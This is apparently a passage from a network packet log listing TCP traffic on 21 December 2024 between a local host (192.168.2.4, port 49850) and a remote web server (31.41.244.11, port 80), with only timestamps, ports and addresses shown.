                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.140912056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.140963078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.141976118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.142096996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.142158031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.143125057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.143177032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.143219948 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.143270016 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.144253969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.144310951 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.144381046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.144424915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.145391941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.145452976 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.145499945 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.145546913 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.146538973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.146646976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.146702051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.147758007 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.147833109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.147897005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.148951054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.149013042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.149055004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.149110079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.150114059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.150177002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.150223970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.150614977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.151160955 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.151249886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.151307106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.152636051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.152757883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.152762890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.152815104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.153842926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.154007912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.154057980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155414104 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155462980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155474901 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155531883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155761957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155808926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155849934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.155895948 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270251036 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270298958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270324945 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270358086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270781994 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270859957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.270942926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.271003962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.272238016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.272298098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.272377014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.272433996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.272795916 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.272851944 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.293447971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.293499947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.293533087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.293569088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.294241905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.294296026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.294576883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.294629097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.294650078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.294677973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.295882940 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.295936108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.296022892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.296080112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.296983004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.297053099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.297137022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.297190905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.297930002 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.297995090 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.298078060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.298130035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.298881054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.298933029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.299031019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.299088955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.299989939 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.300050020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.300148010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.300205946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.301281929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.301341057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.301424026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.301497936 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.302222013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.302279949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.302412987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.302465916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.303514957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.303550959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.303579092 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.303602934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.304616928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.304677010 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.304764032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.304817915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.305898905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.305933952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.305960894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.306001902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.306854963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.306909084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.307013988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.307064056 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.308310986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.308363914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.308494091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.308545113 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.309442043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.309495926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.309753895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.309804916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.310709953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.310762882 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.310847998 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.310899973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.311836004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.311872005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.311887980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.311920881 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.312973976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.313026905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.313102007 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.313158035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.314074039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.314109087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.314124107 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.314153910 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.315196037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.315229893 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.315253973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.315268993 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.316122055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.316176891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.316262960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.316313982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.317333937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.317383051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.317467928 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.317570925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.318481922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.318517923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.318541050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.318567038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.319464922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.319521904 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.319787025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.319844007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.320799112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.320833921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.320857048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.320878983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.321858883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.321893930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.321917057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.321937084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.322985888 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.323020935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.323050976 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.323086977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.324120045 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.324177980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.324294090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.324343920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.325233936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.325289965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.325372934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.325432062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.326513052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.326548100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.326566935 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.326596022 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.327569962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.327617884 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.327744007 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.327796936 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.328722954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.328779936 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.328855038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.328910112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329540968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329577923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329590082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329627037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329647064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329714060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329746962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.329796076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.332731962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.332907915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.332978964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334043026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334208965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334269047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334346056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334397078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334521055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.334574938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.335596085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.335649967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.335772038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.335823059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.336815119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.336877108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.336966991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.337013960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.337937117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.338094950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.338171005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.339049101 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.339109898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.339188099 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.339245081 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.340102911 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.340157986 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.340287924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.340333939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.341334105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.341367960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.341391087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.341417074 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.342637062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.342673063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.342735052 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.343736887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.343771935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.343816042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.343836069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.344837904 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.345002890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.345052958 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.345952988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.345988989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.346043110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.347074986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.347138882 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.347222090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.347270012 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.348251104 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.348315954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.348412037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.348467112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.349345922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.349405050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.349523067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.349574089 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.460417986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.460532904 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.460555077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.460601091 CET4985080192.168.2.431.41.244.11
